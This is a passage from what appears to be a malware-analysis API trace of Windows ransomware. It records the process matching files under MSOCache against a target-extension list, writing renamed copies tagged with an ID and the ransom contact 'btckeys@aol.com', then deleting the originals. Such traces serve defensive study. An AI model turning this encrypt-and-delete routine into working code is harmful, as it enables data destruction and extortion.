DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0063.532] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.532] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.532] lstrlenW (lpString=".doc") returned 4 [0063.532] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.532] lstrlenW (lpString=".docx") returned 5 [0063.532] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0063.532] lstrlenW (lpString=".pdf") returned 4 [0063.532] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.532] lstrlenW (lpString=".xls") returned 4 [0063.532] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.532] lstrlenW (lpString=".xlsx") returned 5 [0063.532] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0063.532] lstrlenW (lpString=".ppt") returned 4 [0063.532] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.532] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.533] lstrlenW (lpString=".zip") returned 4 [0063.533] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.533] lstrlenW (lpString=".rar") returned 4 [0063.533] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.533] lstrlenW (lpString=".bz2") returned 4 [0063.533] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.533] lstrlenW (lpString=".7z") returned 3 [0063.533] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.533] lstrlenW (lpString=".dbf") returned 4 [0063.533] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.533] lstrlenW (lpString=".1cd") returned 4 [0063.533] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.533] lstrlenW (lpString=".jpg") returned 4 [0063.533] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.533] lstrlenW (lpString=".doc") returned 4 [0063.533] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.533] lstrlenW (lpString=".docx") returned 5 [0063.533] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0063.533] lstrlenW (lpString=".pdf") returned 4 [0063.533] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.534] lstrlenW (lpString=".xls") returned 4 [0063.534] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.534] lstrlenW (lpString=".xlsx") returned 5 [0063.534] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0063.534] lstrlenW (lpString=".ppt") returned 4 [0063.534] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.534] lstrlenW (lpString=".zip") returned 4 [0063.534] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.534] lstrlenW (lpString=".rar") returned 4 [0063.534] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.534] lstrlenW (lpString=".bz2") returned 4 [0063.534] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.534] lstrlenW (lpString=".7z") returned 3 [0063.534] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.534] lstrlenW (lpString=".dbf") returned 4 [0063.534] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.534] lstrlenW (lpString=".1cd") returned 4 [0063.534] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.534] lstrlenW (lpString=".jpg") returned 4 [0063.534] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.535] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0063.535] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0063.535] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0063.536] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1606) returned 1 [0063.536] CloseHandle (hObject=0x198) returned 1 [0063.536] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0063.537] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0063.537] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0063.537] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.537] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.537] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0063.537] GetLastError () returned 0x0 [0063.537] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x646, lpOverlapped=0x0) returned 1 [0064.579] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x650, lpOverlapped=0x0) returned 1 [0064.580] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.580] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0064.580] SetEndOfFile (hFile=0x19c) returned 1 [0064.580] CloseHandle (hObject=0x19c) returned 1 [0064.594] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.594] SetEndOfFile (hFile=0x198) returned 1 [0064.596] CloseHandle (hObject=0x198) returned 1 [0064.596] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0064.597] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0064.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.597] lstrlenW (lpString=".doc") returned 4 [0064.597] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString=".docx") returned 5 [0064.597] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.597] lstrlenW (lpString=".pdf") returned 4 [0064.597] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString=".xls") returned 4 [0064.597] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString=".xlsx") returned 5 [0064.597] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.597] lstrlenW (lpString=".ppt") returned 4 [0064.597] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.597] lstrlenW (lpString=".zip") returned 4 [0064.597] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.597] lstrlenW (lpString=".rar") returned 4 [0064.598] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.598] lstrlenW (lpString=".bz2") returned 4 [0064.598] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.598] lstrlenW (lpString=".7z") returned 3 [0064.598] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.598] lstrlenW (lpString=".dbf") returned 4 [0064.598] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.598] lstrlenW (lpString=".1cd") returned 4 [0064.598] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.598] lstrlenW (lpString=".jpg") returned 4 [0064.598] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.598] lstrlenW (lpString=".doc") returned 4 [0064.598] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.598] lstrlenW (lpString=".docx") returned 5 [0064.598] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.598] lstrlenW (lpString=".pdf") returned 4 [0064.598] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.598] lstrlenW (lpString=".xls") returned 4 [0064.598] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.598] lstrlenW (lpString=".xlsx") returned 5 [0064.598] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.599] lstrlenW (lpString=".ppt") returned 4 [0064.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.599] lstrlenW (lpString=".zip") returned 4 [0064.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.599] lstrlenW (lpString=".rar") returned 4 [0064.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString=".bz2") returned 4 [0064.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString=".7z") returned 3 [0064.599] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.599] lstrlenW (lpString=".dbf") returned 4 [0064.599] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.599] lstrlenW (lpString=".1cd") returned 4 [0064.599] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0064.599] lstrlenW (lpString=".jpg") returned 4 [0064.599] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.599] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0064.599] lstrlenW (lpString="Setup.xml") returned 9 [0064.600] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0064.982] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1452) returned 1 [0064.982] CloseHandle (hObject=0x170) returned 1 [0064.982] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0064.982] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0064.982] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0064.982] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.982] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.982] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0064.983] GetLastError () returned 0x0 [0064.983] ReadFile (in: hFile=0x170, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0065.037] WriteFile (in: hFile=0x16c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0065.038] ReadFile (in: hFile=0x170, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.039] WriteFile (in: hFile=0x16c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0065.039] SetEndOfFile (hFile=0x16c) returned 1 [0065.039] CloseHandle (hObject=0x16c) returned 1 [0065.042] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.042] SetEndOfFile (hFile=0x170) returned 1 [0065.043] CloseHandle (hObject=0x170) returned 1 [0065.043] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0065.044] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0065.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.044] lstrlenW (lpString=".doc") returned 4 [0065.044] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.044] lstrlenW (lpString=".docx") returned 5 [0065.044] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0065.044] lstrlenW (lpString=".pdf") returned 4 [0065.044] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.044] lstrlenW (lpString=".xls") returned 4 [0065.044] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.044] lstrlenW (lpString=".xlsx") returned 5 [0065.044] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0065.045] lstrlenW (lpString=".ppt") returned 4 [0065.045] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.045] lstrlenW (lpString=".zip") returned 4 [0065.045] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.045] lstrlenW (lpString=".rar") returned 4 [0065.045] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.045] lstrlenW (lpString=".bz2") returned 4 [0065.045] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.045] lstrlenW (lpString=".7z") returned 3 [0065.045] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.045] lstrlenW (lpString=".dbf") returned 4 [0065.045] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.045] lstrlenW (lpString=".1cd") returned 4 [0065.045] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.045] lstrlenW (lpString=".jpg") returned 4 [0065.045] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.045] lstrlenW (lpString=".doc") returned 4 [0065.045] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.045] lstrlenW (lpString=".docx") returned 5 [0065.045] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0065.046] lstrlenW (lpString=".pdf") returned 4 [0065.046] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.046] lstrlenW (lpString=".xls") returned 4 [0065.046] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.046] lstrlenW (lpString=".xlsx") returned 5 [0065.046] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0065.046] lstrlenW (lpString=".ppt") returned 4 [0065.046] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.046] lstrlenW (lpString=".zip") returned 4 [0065.046] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.046] lstrlenW (lpString=".rar") returned 4 [0065.046] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.046] lstrlenW (lpString=".bz2") returned 4 [0065.046] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.046] lstrlenW (lpString=".7z") returned 3 [0065.046] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.046] lstrlenW (lpString=".dbf") returned 4 [0065.046] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.046] lstrlenW (lpString=".1cd") returned 4 [0065.046] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.046] lstrlenW (lpString=".jpg") returned 4 [0065.046] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.047] lstrcmpiW (lpString1=".chm", lpString2=".2020") returned 1 [0065.047] lstrlenW (lpString="pss10r.chm") returned 10 [0065.047] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0065.090] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=27195) returned 1 [0065.091] CloseHandle (hObject=0x170) returned 1 [0065.091] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0065.091] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0065.091] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0065.091] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.091] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.092] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0065.092] GetLastError () returned 0x0 [0065.092] ReadFile (in: hFile=0x170, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0065.095] WriteFile (in: hFile=0x16c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0065.096] ReadFile (in: hFile=0x170, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.096] WriteFile (in: hFile=0x16c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0065.096] SetEndOfFile (hFile=0x16c) returned 1 [0065.096] CloseHandle (hObject=0x16c) returned 1 [0065.106] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.106] SetEndOfFile (hFile=0x170) returned 1 [0065.107] CloseHandle (hObject=0x170) returned 1 [0065.107] SetFileAttributesW 